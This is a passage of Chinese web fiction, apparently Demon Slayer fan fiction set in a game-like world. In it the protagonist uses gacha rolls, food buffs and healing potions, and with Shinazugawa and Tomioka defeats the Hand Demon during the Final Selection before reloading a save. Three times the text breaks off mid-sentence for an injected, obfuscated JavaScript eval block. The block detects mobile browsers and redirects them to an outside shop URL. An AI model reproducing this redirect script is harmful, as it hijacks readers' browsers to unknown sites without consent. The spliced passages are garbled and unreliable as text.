于是她放弃了自己抽,选择问自己的两个队友:“不死川,富冈,你们哪个运气好?” 结果两个人都狐疑地看着她,似乎不能理解她要干什么。 鳄梨叹了口气,决定放弃解释,而是让他们一人抽一次十连。 首先上场测手气的是不死川实弥。 他按照鳄梨所说的,转了一下抽奖转盘,最后松开手,等待转盘自动跳出奖励。 【恭喜您获得——】 【宇宙深处的垃圾×2(使用后生命值扣除2%)】 【香喷喷的萩饼×3】 【坏掉的弹弓×1】 【炎之呼吸呼日轮刀×1(绿色品质)(破损度20%)】 【风靡整个时代的护肤霜×2(蓝色品质)】 【锋利的斧头×1(蓝色品质)】 【恭喜您获得称号[我不是非酋],额外赠送一张抽奖券】 不死川实弥:……那种被嘲讽的感觉又来了。 鳄梨拍了拍不死川的肩膀,无声安慰了对方一番,而后让富冈抽一次。 然而富冈弄错了转盘,不小心整成了单抽,鳄梨来不及阻止,只能失落地抱着失去一张抽奖券的心态,等待着宇宙深处的垃圾。 【恭喜您!获得[该死的欧皇]称号,奖励500金钱】 【恭喜您获得——】 【风之呼吸日轮刀(紫色品质)】 鳄梨:??! 她没看错吧?单抽出奇迹,她真的见到了传说中的单抽出奇迹! 那一刻,她带着难以遏制的复杂情绪,几乎是目眦欲裂地看向富冈。 因为她过于激动的情绪,和几乎要吃人的眼神,逼得对方差点脱口而出道歉的话,结果却听到了她郑重的一声谢谢。 富冈义勇:? 虽然他不知道发生了什么,但是不死川多了一把削铁如泥的日轮刀,可喜可贺。 7.前往藤袭山 “这把刀……很不对劲。” 将那把泛着紫色闪光的日轮刀拿在手中后不久,刀身附着的光芒逐渐黯淡下去,转换成风之呼吸使用者的专属绿色。不死川实弥随手挥砍了几下,传来的感觉却让他下意识皱紧眉头。 没什么别的原因,只是使用时手感太奇怪了。 如果非要形容的话,就是这把刀握在手中时,会有一种诡异的心安感,仿佛用它杀鬼会更有力量一样。 鳄梨没注意到不死川的诡异停顿,他及时关闭了抽奖页面,决定就这样适可而止,毕竟单抽出奇迹已经很强了,再当赌狗绝对会死的很惨。 现在距离考核只有一夜的时间,鳄梨的呼吸法招式却只学到了一半,包括他们三人的等级,也是一瓶子不满,半瓶子晃荡……她决定牺牲一些睡觉时间,再制作一些食物和回血药。 在这里,食物相当于回蓝药,可以提升体力和饱腹值。如果战斗时体力值低于警戒线,那么就无法放出技能,或者是技能大打折扣。 回血要制作的方法则更麻烦一些,需要的材料还包含一些草药,但这些草药又不是随时可以遇到的,鳄梨的存货也不多,能制作的药品有限。 除此之外,因为游戏模式的改变,曾经就算在NPC面前大喊大叫都不会被讨厌,但现在不合常理的举动会让别人感到困扰。 为了避免社死和吵到别人,鳄梨一直熬到深夜,等到大家都睡了,才轻手轻脚地掀开被子,从床铺上爬起来,溜到了房子后面,用背包里的树枝和绳子,支起了一个简易烧烤架。 但是他忘记了一个很重要的设定,如果是单纯的游戏世界,那她做饭也只是做饭而已,并不会产生气味。 现在情况明显已经变了,当他做完回血药,继续再做烤鸡肉蘑菇串时,浓郁的香气透过门缝,不急不缓地钻进房子里,勾得人难以入眠。 鳄梨对此毫无所觉,还在给蘑菇串均匀地撒上孜然,忽然,她感到有一双手搭在了自己背上,吓得鳄梨身体猛的一颤,下意识回头—— “真菰?” 真菰对此微微一笑,鳄梨松了口气,还好是真菰,刚才她真的瞬间脑补了某种不干净的东西…… 见她反应那么大,真菰噗嗤一笑,双手背在身后,朝鳄梨的烤架瞄了一眼:“这么晚了,为什么要偷偷出去烤蘑菇?” 鳄梨轻咳一声,随口扯了个理由:“饿了。” 真菰没说什么,只是调侃了句:“很像你的风格呢。” 鳄梨不好意思地挠挠脸颊,把烤好的蘑菇串递给真菰,“要来一点吗?” “不,不用。”真菰拒绝道,“我可不像你们男孩子,对身材管理毫不在意,那么晚了还吃东西会长胖的。” 经常熬夜还热衷于炸鸡汉堡的鳄梨:……有没有可能,女生也不在意? 鳄梨没有强求,也没有解释,她只是重复着串蘑菇,烤蘑菇,把蘑菇串塞进背包的动作。 真菰就蹲在一旁静静地看着,大有一种你不睡那我也不睡的架势。 “义勇。” 真菰突然喊了这个名字,鳄梨愣了一下,回过头看向真菰,用眼神询问她怎么了。 顿了顿,真菰问道:“你是想跟着我一起去选拔吗?” 鳄梨的眼睛瞬间睁大了。 她下意识想要否认,真菰却先她一步制止了她的解释。 “你的脸色已经回答了哦。” ……好吧。鳄梨不得不承认,真菰说得对,她是很不擅长掩饰自己的情绪。 应该像富冈义勇学习。 鳄梨的思维发散着,听到真菰又问:“为什么呢?” 当然,真菰真正想问的是,为什么连型都没有学全的他,一定要和她一起去选拔?考核不是儿戏,必须以严肃的态度对待。 真菰暂时还不敢深思其中的细节,于是她把问题抛给了他。 为什么?鳄梨就着这个问题陷入了沉思。 当然不可能直接说真菰会死,也不可能说山里有个可怕的BOSS,即便是她带着两位曾经是柱的队友,都不一定能无伤通关。 鳄梨在脑海里快速搜刮词汇,想为自己寻找一个合理的缘由,但真菰却没有继续等下去。 她很聪明,因为身材娇小,所以杀鬼基本不拼力气,拼的是速度,技巧和智慧,她很快就想明白了对方欲言又止的原因,甚至思考了更多。 也许……是因为那座山里有不得不去的理由。 她笑了笑,“不用回答了,义勇,我明白了。” “你明白了?” 鳄梨不太相信,她担心真菰会说些什么,阻止她们一起去,可真菰没有,她只是认真地说:“谢谢你的保护。” 面对这样的真菰,鳄梨再次愣神了,直到她提醒了句:“该翻面了,不然蘑菇要糊了。”她才猛然回神,急急忙忙地把蘑菇串翻了个面。 两人就这样在星空之下,一边烤蘑菇,一边时不时说句话,周边的氛围温暖而又恬静。 ……直到第三个人来到了烧烤架旁。 不死川实弥很不想承认,是烤串的香味害得他睡不着,鼻尖萦绕着的香气始终挥散不去,导致他在床铺上翻来覆去无法入睡,只好爬起来,寻找香气的源头。 结果就看见那家伙半夜不睡觉,蹲在那里烤蘑菇,旁边还有一个同样的受害者。 不死川实弥习惯性的感到无语,但……他也没有什么办法,这些天的相处也算是让他了解了“富冈义勇”的个性,这人就不能用常理去理解! 果不其然,他看到那家伙低头不知道思索了什么,而后把准备塞进背包的烤串拿出来,像唤狗一样朝他颠了颠: “对不起……你吃点吗?” 不死川实弥的脸色由白转红,咬牙切齿地憋出一句:“不需要!” 一旁的真菰憋笑憋得难受,她同情地抬眸看了一眼不死川实弥,在看到对方脸上爆起的青筋后,终于忍不住笑出声来。 鳄梨认真地思考了会,终于明白了不死川生气的原因,可能是刚才她的表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16762937|188530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情太冷淡了,就导致投喂的动作非常嘲讽,所以……笑一笑应该就好了吧。 想到这里,鳄梨缓缓牵起嘴角,双手递出烤串,顺带解释了一下自己夜半发癫的原因。 谁知不死川实弥的表情却更复杂了,他暗自吐槽一句:这家伙还会笑?犹豫了下,然后他在“伸手不打笑脸人”这种心理中,接过了蘑菇串。 ——绝对不是他被烤串吸引了。 他拿着烤串,看到上面烤得滋滋冒油的鸡肉,心说也许味道不错? 当他一口咬下去,撒了调料的鸡肉混合着蘑菇的鲜香,口感鲜嫩,咸味正好,还带着一丝隐隐的辣味,味道确实不错。 没想到这家伙居然有当厨子的天赋。 “怎么样?” 面对他隐含期待的问话,不死川实弥停顿了下,回答:“还不错。” 也算是没有违心。 鳄梨听后大失所望——明明她烤蘑菇的水平已经达到了最高级别,结果居然是还不错?算了,她又不是不知道实弥和自己的关系没那么好,已经是很高的评价了。 她没再继续追问对方评价,而是把蘑菇串再次递给真菰,希望她也能尝尝。 这次真菰没有拒绝,且给出了很高的评价。 谁知这时锖兔和义勇也来了,两个真正的少年看到这一幕,纷纷露出了被背叛的表情。 于是烤蘑菇大军又加了两位。 最后,富冈也从房子里出来,分到了一串烤蘑菇,此地瞬间变成野营阵地。 最后的最后,鳞泷先生发现了他们的秘密行动,以不好好睡觉为由,罚六个人蹲一个小时马步。 * 藤袭山,一座由紫藤花林围绕起来的鬼的囚笼,同时也是玩家们必定打卡的新手村之一。 其中的手鬼,是每一个熟知原著剧情的玩家,都必须施以极刑,重复让其死亡的存在。 不仅因为他杀了众多水呼弟子,更多的,是这家伙不做人的阴招,害得许多处于新手期的主线玩家翻车。 于是,许多记仇的玩家在后期成为大佬后,还会特意开个新档,回到手鬼这里反复虐杀对方。 鳄梨认为,她就是这样的人,如果这次失败了,她就会在提升等级之后,狠狠地折磨对方……扯远了,现在她们还没出发,也许完美通关也说不定呢? 鳄梨等了一段时间,等到真菰向鳞泷先生辞行,接着她又等了一段时间,以免老师和锖兔他们怀疑,才跟鳞泷先生找了个借口偷偷下山。 而作为队友的富冈和不死川,自然也会跟她一起离开狭雾山。 但鳄梨不知道的是,鳞泷先生怎么可能注意不到三人的计划,或者说他其实知道她下山的目的,但他最后却什么都没有说,只是叹了口气,默许了他们离开。 望着三人离去的背影,直至化成三个小点消失在眼前,鳞泷先生才回到房子里。 此时锖兔和义勇还没醒,鳞泷为他们掖好被角,然后回到客厅,继续雕刻属于三个人的狐狸面具。 8.选拔进行中 另一边,经过鳄梨三人一刻不停地赶路,终于在真菰之后来到了藤袭山山脚下。 大片大片的紫藤花树生长在台阶之上,枝干依附着石块的缝隙,开出一片又一片的紫色花海,美丽而又梦幻。 淡雅的香气萦绕在鼻尖,鳄梨抬手抚摸了一组从树梢上垂下来的花,忽然听见不死川实弥不满的吐槽: “啧,真没想到,我还有第二次参加选拔的机会。” 富冈点了点头,语气听不出喜怒,又疑似是在感叹:“我也没想到,居然是和你们一起。” 不死川实弥:…… 鳄梨却好像懂了他的意思,他是在感慨自己很幸运吧! 毕竟按照常理来说,这些都是不可能发生的事情,可如今不仅发生了,他们还能在一起并肩作战,又怎么不算幸运呢? 于是想明白他的意思之后,鳄梨把手搭在了不死川肩膀上,宽慰道:“别生气,他只是在感慨自己幸运。” 富冈闻言露出了惊讶的神色,而后点了点头。 “我没生气!” 不死川实弥匆匆为自己辩驳了一句,而后也不管藤袭山的考核有没有开始,直接踏上了第一层台阶,向山上的方向跑去。 鳄梨和富冈对视一眼,也追着他的身影向山上跑去。 【鬼杀队最终选拔开始,参与者:富冈义勇,在线发牌。富冈义勇。不死川实弥。倒计时:七天】 …… 与此同时,宇髄天元刚刚赶到狭雾山,碍于中途遇到了一只鬼,与其鏖战了一番,受了伤,又被一位好心的人家收留……因此耽搁了些许时间。 他原本打算与原水柱交流一番,一起探讨这个世界的种种怪异之处,但没想到,鳞泷左近次竟对他毫无印象—— “这也太不华丽了……好歹我也和你见过几面,结果居然对我毫无印象吗?” 宇髄天元的语气太过理所当然,倒让鳞泷左近次犹豫了,他在心里斟酌着用词,没有立刻回答他的问题。 这时候,鳞泷的弟子,义勇和锖兔因为听到音柱不自觉拔高的声音,不免对这位自称为柱的人产生好奇,就悄悄跟了过来。 而他们的出现,恰好某种程度上解释了宇髓所有的疑问,宇髄天元在看到那名形似水柱的少年后,那一瞬间,他所有想说的话都卡在了喉咙里,沉默半晌,才发出一声难以置信的语气词:“……哈?” 这个少年……是水柱?他是中了什么返老还童的魔法吗? 宇髄天元啧啧称奇,但联想到大半个月前的经历,他又觉得好像也不是那么难以理解了。 不管是魔法还是血鬼术,看到“水柱”如今的模样,他忽然很想笑——这也太不华丽了。 义勇不理解这位大人的眼神,他拽了拽锖兔的袖子,小声吐槽:“他笑得好邪恶。” 锖兔尴尬地笑了笑,没有说话。 宇髄天元的听力与原先并无不同,也就是说,他听到了义勇的吐槽。 祭典之神忽然起了几分逗小孩的心思——虽然只能说是疑似,不过刚好可以用这个方法试探一下。 他刻意摆出一副严肃的表情,指着义勇说:“你在说什么呢?臭小鬼!” 义勇吓了一跳,下意识想为自己的话道歉,可下一秒却看见宇髄天元哈哈大笑起来。 他这才明白对方是在逗他,表情忽然变得无语起来,在心里为宇髄天元贴上了标签: 邪恶的大人。 * 总之,宇髄天元的问题暂时无人能解答了,现在三个人刚解决了众多低级鬼,正围坐在树下休息。 鳄梨把自己带的食物都拿了出来,像什么鸡肉蘑菇串,孜然烤鱼,煎蛋……光种类就足足十几种。 这些食物飘散的香气太过浓郁,不知不觉间传了很远,最后竟吸引了几位同区域的考生,不自觉地就循着香气来到了这里。 而当他们看到摆满了整张地毯的食物后,手中干巴的饭团突然就难以下咽了。 没有对比就没有伤害,几位少年被鳄梨的食物馋得口水都流出来了,却碍于面子不好意思出来。 他们藏在灌木丛后面,眼睁睁看着三人吃着豪华大餐,再咬下自己手中的干巴饭团,艰难地咽下去。 “咕噜……” 正当所有人欲哭无泪的时候,不知谁的肚子发出了巨大的声响,那一瞬间,所有人都愣住了。 鳄梨完全没意识到自己的食物有多香,还在吐槽自己做得时候烤得火候差了点,骤然听到这一声夸张的声音,吓得她咀嚼的动作都停了。 不死川和富冈倒是早就注意到了那些人的存在——那些人又没刻意掩饰,想不注意到真的很难。 但是一个懒得管,一个不知道该不该管,就导致了现在的局面。 “那个……不好意思。” 围观的四人中有一个站了出来,他尴尬地挠了挠头,小声解释说:“发出声音的是我。” 鳄梨转头上下打量了他一眼,发现他的饱腹值只剩一小半了,也就是说他现在很饿,难怪肚子会发出声音。 虽然不清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791716|188530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚为什么会这样,但在考核时饿肚子是一件很不妙的事情,甚至还有可能导致战斗失利,不能忽视。 她短暂思考了下,站了起来,做出邀请的姿势:“过来吃一点吧。” 几位少年你看看我,我看看你,犹豫着没好意思过去,直到不死川实弥开口:“让你们过来就过来,别像个傻子一样杵在那里。” 他们这才走过来,感激又克制地一人拿了一串蘑菇。 鳄梨见他们这般不好意思,忍不住在心里吐槽了句: 其实你们看到的只是冰山一角,我光烤蘑菇就存了32串,完全不用担心不够吃。 这样想着,她清了清嗓子,对他们说:“别害怕,管够。” 说着又从背包里掏出了几串烤蘑菇和一些煎蛋。 在所有人都露出了精彩的脸色时,富冈仍旧不紧不慢地吃着自己的东西,还不忘提醒众人:“快吃吧,吃完就赶紧走。” 听到这句话,不死川实弥虽然隐约感受到了他的意思,却还是缓慢地扭过头,瞪视着富冈,脸色看不出喜怒:“你可以闭嘴。” 富冈随即露出了心塞的表情。 鳄梨&其他人:…… ——算了算了,大家都在沉默干饭,我也不插话了。 虽说这顿饭中途出了很多尴尬名场面,但大家还是十分感激的,临走时他们向鳄梨他们鞠了一躬,感谢他们的慷慨分享。 “如果有机会,我们一定会报答的!” 三人都没把这句话放在心上,况且只是一顿饭而已,谈不上什么报不报答。 他们走后,不死川实弥打开了系统面板,再次查看了一番考核的倒计时,在心里计算了一下日出的时间,又问另外两人: “现在,你们有什么打算?” 富冈沉默了下,回答道:“去找真菰……” 他已经亲手阻止了这个世界的姐姐死亡,越来越渴望能再救下真菰,锖兔,还有好多好多的人…… 鳄梨的回答是:“可以先解决山上的鬼,提升一下我们的等级,在第六天或者第七天的晚上找到她……解决手鬼。” 现在他们的等级稍微有点低,不太适合直接刚BOSS,不如拿山上的鬼练级之后,再去和真菰一起参与BOSS战。 反正主线任务就这样,玩家只要不参加BOSS战,BOSS就一直等在那里。 不死川实弥思考了一会,觉得鳄梨的计划很有道理,于是他用眼神询问富冈,要不要跟他们一起。 富冈选择了与他们同行。 9.手鬼惹众怒 “既然决定了一起行动……这些物资我们三个平分。”鳄梨说着,将背包里的药品和食物分成三份,分别赠送给给不死川和富冈,“之后我们打BOSS……不,打手鬼时不要硬抗,能补状态就补。” “我们的目标是,一命通关。” 两人对鳄梨的计划没有意见,只是不死川听到最后那句话时忍不住笑了一声,不一条性命通过,难道还能有第二条命不成? 富冈则对补状态一词感到疑惑,同时他也确实问了:“什么是补状态?” 鳄梨“啊”了一声,心里暗自埋怨自己居然忘了说了,她思考了一下措辞,盘算着该如何把战斗时吃饭说得更高大上。 最后词穷的她决定暂时放弃解释,找一只鬼手动演示一下。 她打开地图,再把地图隐藏的追击功能打开,这样周围的景物会被弱化,敌人则会被标记成显眼的红色影子。 缺点是这种功能下,周围的景物会变成荧光色,对眼睛不太友好。 不死川实弥和富冈讶异了下,同时迅速适应了周围的变化,与鳄梨一起继续向山顶的方向走去。 不过多时,三人均瞧见了一块显眼的红色,就躲在一棵树后面东张西望,似乎准备趁人不注意搞偷袭。 那一瞬间,不死川实弥压低身体,正准备拔刀,鳄梨却制止了他的动作,轻声说:“演示,还记得吗?” 不死川实弥闻言颇有些无语,他耸了耸肩,眼神示意她要去快去。 鳄梨嗯了一声,随后迅速拔刀出鞘,脚下蓄力,一个瞬身飞到了恶鬼身后,一刀砍在了它后背,刹那之间血液喷涌而出,鳄梨侧身一躲,避开了将要溅在她羽织上的血。 “啊——!!” 恶鬼痛得大吼一声,他愤恨地瞪着黄褐色的眼珠,一眼就看见了对面的那个年轻男人,对方的刀上还沾着他的血——该死的!他居然还露出了嫌弃的表情,迅速甩走了刀上的血,怎么,他很脏吗?! “混蛋!!” 恶鬼突然就破防了,他大骂一声,毫不犹豫地举着爪子冲向那个可恶的家伙。 鳄梨没有躲,也没有抬刀格挡,硬生生用身体抗住了这一击。 “喂!” 看到这一幕,不死川实弥吓了一跳,下意识喊了出来,富冈也皱紧眉头,很疑惑他为什么不躲开,明明是可以做到的。 鳄梨没有回应他们,只是低头看了一眼伤口。 现在的情况仍在她预料之中,况且已经提前降低了痛感,这种程度的伤完全不会受影响。 再加上恶鬼等级很低,这一击下去HP并没有减多少,血量条只消失了短短一小格,都在她的可控范围之内,也可以说演示的过程很顺利。 鳄梨无视了暗自窃喜的鬼,从背包里拿出一瓶小号回血药,拔开盖子,仰头一饮而尽。 只见喝下去之后,她周身立刻浮现出了绿色的数字,之前掉下去的血条瞬间回满了,胸口的伤也在逐渐恢复。 “什么?!这不可能!” 恶鬼再度破防,但这一次他就没有那么好运了,被鳄梨用一之型砍掉了头颅,到死都没有瞑目。 解决完恶鬼,鳄梨潇洒转身,对不死川他们说:“看清楚了吗?” 见两人沉默,她又补充了句:“回血药就是这样的作用,食物则可以补充技能的续航,有的五星菜品还可以提供微量增益,所以……啊!” 话还没说完,鳄梨就被不死川狠狠敲了一下脑袋,对方还免疫了她控诉的眼神,凶巴巴地指着她说:“你个笨蛋,这种效果需要演示吗?直接说我们又不是听不懂。” 富冈也用不赞同的眼神控诉:“你在把我们当傻瓜。” 不死川实弥呵了一声,毫不留情地刺道:“你也是笨蛋,没资格教训他。” 富冈义正言辞地为自己辩驳:“我不是笨蛋。” 但不死川没有理他。 * 时间悄无声息地流逝,转眼之间来到了第六天晚上。 三人组为了练级,已经杀鬼杀得逐渐走火入魔。 特别是不死川实弥,他白色的羽织上沾满了血污,战斗时的神情也像打嗨了一样,越来越狂妄。 他们几乎杀遍了整座山的鬼,从恶鬼手中救下了不少人,到最后逼得那些鬼看见他们就跑。 于是他们不得不改变主意,开始主动寻找鬼的聚集地。 后来剩余的鬼忍无可忍,只能选择联合起来,一起攻击他们。 面对这些鬼的围攻,不死川实弥骂道: “好啊,一起上吧!你们这些杂碎!” 只见他深吸一口气,眼神一凛:“风之呼吸——” “五之型·寒秋落山风!” 呼啸的风刃凝聚成绿色漩涡,将那些恶鬼逼至角落,鳄梨和富冈眼睁睁看着上头的实弥穿梭于众多恶鬼之间,一边喊着嘲讽用的垃圾话,一边砍下一个又一个鬼头,并且刀刀出暴击。 鳄梨忍不住回忆起论坛中的大佬曾科普过的资料,风之呼吸使用者最容易出暴击,但缺点是血量少,身板很脆,还容易缺蓝。 但很明显,不死川不属于这一类型……不对! 鳄梨看见他的蓝条空了! 凭一己之力解决完大量鬼后,不死川实弥正要乘胜追击,结果在喊出招式名之后,自己莫名有一种力竭的感觉,而且这时候挥出的剑技不仅没了特效,还没了伤害,砍在恶鬼脖子上时力道软绵绵的,最后反而被反应过来的鬼震出了一米之外。 不死川实弥还想上前,忽然间想到了什么,他从背包里拿出肉松饭团,几口吃了下去。 【饱腹值+10】 【mp+10】 虽然蓝量恢复了,但他的面板上显示,目前只有一之型可以用,其他的剑技都是灰色的,属于不可使用的状态。 不死川实弥啧了一声,只能转换攻击方式,改用一之型解决了这最后一只鬼。 做完这些,鳄梨最后查看了一下他们的面板。 目前鳄梨的等级是19,不死川是17,富冈是15,而BOSS手鬼等级是20,也算是勉强够格了。 但是在去打BOSS之前,必须先把状态补满,再为他们这个小队套一个增益buff。 鳄梨在三种增益食物中,选择了葡萄酒这个能加攻速和移速的。 至此,他们才算是真正做好了准备。 —— 真菰抬手固定了下头上的狐狸面具,接着继续沿着这条小径走向山顶。经历了七天的艰苦战斗,她的精神有些疲惫,但只要一想到这就是考核的最后一晚了,她就忍不住开始激动。 马上就可以通过考核了,马上就可以成为鬼杀队的剑士了。 她不会辜负鳞泷老师的期待。 真菰想了想,加快了赶路的速度,她要快点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16805529|188530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走到离太阳最近的地方。 猛然间,她感受到了地面在震颤,且是那种有节奏的,缓慢的震动,像是什么庞然大物在缓慢地向这边移动。 真菰赶紧停了下来,手掌覆在刀柄之上,紧张地环视四周。 她的猜测没有错,借着头顶的月光,她看见了那只鬼! 它的身躯臃肿巨大,由多条粗壮的手臂缠绕组成,全身的皮肤泛着铁青色,又散发出一股从内到外腐朽的恶臭味。 他的身躯太大了,无法利用树木遮掩身形,于是他干脆就不掩饰了,从两棵树之间硬挤过去,移动时皮肤被粗糙的树皮剐蹭出血痕,而他的蛮力又将两棵树推得向两边倒去。 “桀桀桀桀桀……小狐狸,又来了一只小狐狸……” 真菰害怕吗?答案是肯定的,从看见这只鬼开始,她的身体就在不停地颤抖。但她还是强行压抑自己的内心,在那一瞬间拔出刀刃,冲了上去。 “水之呼吸,三之型,流流舞!” 真菰的速度很快,几个转身之间便砍断了手鬼的多条手臂,而后她脚尖蓄力,奋力一跃,挥刀砍向手鬼的脖子。 但是手鬼反应更快,迅速从身躯中凝聚出一条手臂,向真菰的脑袋袭去。 真菰吓了一跳,赶紧反手挥刀,挡住了这一击,最后她在空中完成受身动作,平稳落地。 ‘好痛……手臂被震得发麻,它究竟吃了多少人……’ 真菰揉了揉隐隐作痛的右手手腕,咬牙冲上去,继续对手鬼发动攻击。 手鬼很强大,也很狡猾,他一边应对着真菰的剑技,一边用言语干扰真菰的判断。 “嘿嘿,你是鳞泷的弟子吧?” 真菰没有理他,她又一次因为力气不够,处于空中时被手鬼击飞,却又在落地的瞬间调整好姿势,躲开来自地面的攻击。 手鬼的问话落空,心情却并未因此受到影响,他桀桀桀地笑了一阵,而后用多只手比了一些数字。 “不用回答我也知道,你就是他的弟子,头上的狐狸面具就是证据。而这些,都是我吃掉的鳞泷弟子,你是接下来的一个。” “这根本就不是什么消灾面具,毕竟有了这个面具,我就能更好地辨认你们,对你们来说,这就是招灾面具——咳!” “不许你侮辱鳞泷老师!” 真菰怒了,她大吼一声,直接用出了水之呼吸的最强招式,生生流转,带着怒意的水龙咆哮着冲向手鬼,在真菰每一次转身之后变得更为粗壮。 刀刃最终划开了手鬼的脖子,真菰正要一举砍下去,却不知自己已经中了对方的计。 手鬼忍不住笑出声来,他利用早就隐藏在身体里的手握住真菰的刀,趁真菰愣神的时候再伸出一只手,拽住了她的脚踝。 水鬼嘿嘿一笑,这就要扯断真菰的腿—— “水之呼吸,二之型,水车!” 来不及和同伴多说什么,富冈直接飞身上前,冲过去砍断了困住真菰的手臂,在手鬼破防的大叫声中,抱着真菰跳了下来。 看到这震撼的一幕,不死川实弥忽然露出灿烂的笑容,忍不住夸赞道:“干得漂亮!” 鳄梨则站在了手鬼的对面,歪着脑袋盯着他,脸色阴郁到让手鬼心头一颤: “我现在很生气……你说什么是招灾面具?以及……” 你提前开团,差点导致这一周目作废,这笔账,该怎么算呢? 10.通过选拔后要做些什么 鳄梨没有继续说下去,而是摆好了起手式,随时准备放大招。 “你……你们……” 手鬼被鳄梨的表现震慑,一时竟吓得支支吾吾说不出话来,反应过来后他恼羞成怒,迅速凝聚手臂,以迅雷不及掩耳之势向鳄梨袭去。 手鬼自认为自己的速度很快,那人一定躲不开,没想到对方只是在攻击来临时微微侧身,便轻松躲过了那一击,甚至还反过来砍断了他的手。 一击未成,手鬼气得破防大叫,鳄梨冷哼一声,心说她只是呼吸法暂时没学全,又不是数值不够,看不起谁呢? 不过保险起见,鳄梨不打算独自应对BOSS,还是按照原计划与队友们一同作战。 不死川实弥啧了一声,甩了甩拿刀的胳膊,眼睛死死瞪着那座肉山:“和它废话那么多干什么?这种垃圾,我多看一眼都觉得恶心!” 富冈赞同地点了点头,他现在知道了,这只可恨的鬼,就是曾经杀死了众多同门师兄弟,以及真菰锖兔的家伙。 他不用想都知道这家伙是怎么活下来的,无非是一直谨慎又狡猾地活着,那么多年来只吃鳞泷先生的弟子和少量的普通人,既克制了食欲,隐藏了自己的存在,又完成了对老师的报复…… 想明白了事情的前因后果,富冈握刀的手倏地暴起青筋——不可饶恕! 此时手鬼还不知道自己已经惹了众怒,还在大放厥词,扬言要把他们全部杀死吃掉。 直到他被三人组接下来的联合剑技逼至绝境,血量低至警戒线,自身的愈合速度远远赶不上躯体的破损程度,他才终于感到慌乱——他不能栽在这里!他还想逃出这座囚笼,获得那位大人的赏识! 手鬼自知身躯庞大无法逃跑,便转换思路,全程只针对稍弱一些的真菰,至少……至少在死之前要拉一个垫背! 感受到手鬼的意图,三人的怒意更甚,同时挥刀的速度更快了,尽管现在他们的力量还不足以秒杀手鬼,但胜在配合得足够默契,四人基本没受什么伤。 眼看手鬼的血条终于快要清零,不死川实弥决定乘胜追击,然而变故突生,手鬼居然在濒死之际进入了爆发状态,攻击速度成倍增加,并且用众多巨手组成了一张密密麻麻的网,笼罩在真菰头顶,同时分出一些手臂与另外两人缠斗。 眼看着那些巨手就要落下,真菰躲闪不及,只能不断挥刀让受到的伤害最小化,富冈和不死川距离稍远,赶不过去,鳄梨见状来不及多想,径直跑了过去,运用四之型破开一个包围圈,一把推开了真菰。 “嗤——” 手鬼见阴谋得逞,立刻调转那些手的攻击方向,朝鳄梨的头颅袭去,但没想到鳄梨及时反手挡住了一部分,最后只是右半边肩膀被捏碎……这一击下去,他的血条瞬间少了一大半。 手鬼很不甘心,正要继续偷袭,可眼前的视野忽然翻转,直到头“噗通”一声砸到地上,他这才意识到自己被砍头了。 “我不甘心……” 这就是他最后的遗言了。 鳄梨的痛感共振只开了百分之二十,因此感觉还好,只是右半边身体不可避免地受到影响,几乎无法动弹。 不死川实弥气得一边破口大骂,一边和富冈一同掏出了自己所有的回血药。 他气的是如果不是这该死的世界压制,他们会因为一个下弦都不是的鬼狼狈至此吗? 鳄梨也有些生气,他们本来有希望一命通关的,结果触发了小概率的BOSS暴走事件,现在她的肩膀粉碎性骨折不说,掉血速度即使用了回血药也止不住,估计是某个内部器官也遭到了损伤。 这个血量别说撑到下山了,撑到天亮都算不错。 于是他制止了两人继续向他投喂回血药的动作,转而对快要哭出来的真菰说:“别哭,你哭起来不太好看。” 真菰一愣,随后又扑哧一声气笑了,可笑着笑着她又哭了。 看到真菰如此伤心,鳄梨这下真的生气了,她在心底怒骂了一阵手鬼,最后长吁一口气,看了一下自己涨的经验值,盘算着回档的损失,转而对不死川和富冈说:“你们介意重新打一次吗?” 直接回档,总比慢性死亡后刷新等级要好,而且要眼睁睁看着血量减少,让大家心情越来越差,鳄梨做不到。 他们当然明白鳄梨的意思,不死川实弥拧了拧手指,把关节捏得咔咔响,回答说:“这一次,老子绝不会让手鬼死得那么简单!” “好。” 得到两人同意,鳄梨迅速完成了操作,将出发时的档位覆盖到这个存档之上,他来不及和真菰解释——当然,真菰也不会记得这周目发生的事情,不解释也没关系。 覆盖之后,天地间爆发出一阵刺眼的白光,只眼睛一睁一闭的空当,三人组再次回到了藤袭山山脚下。 “手鬼是吧……” 不死川念叨着这只鬼的名字,不用看表情都知道他现在有多愤怒。 富冈同理,不过他是就地取材,开始不间断地摘紫藤花,直到把背包格子塞满,里面全是紫藤花(富冈从没整理过背包格子)。 鳄梨则把背包里能加buff的东西都装备上了,就等着虐死手鬼。 唯一不好的地方就是,三人一路的超绝低气压,吓得其他人根本不敢靠近。 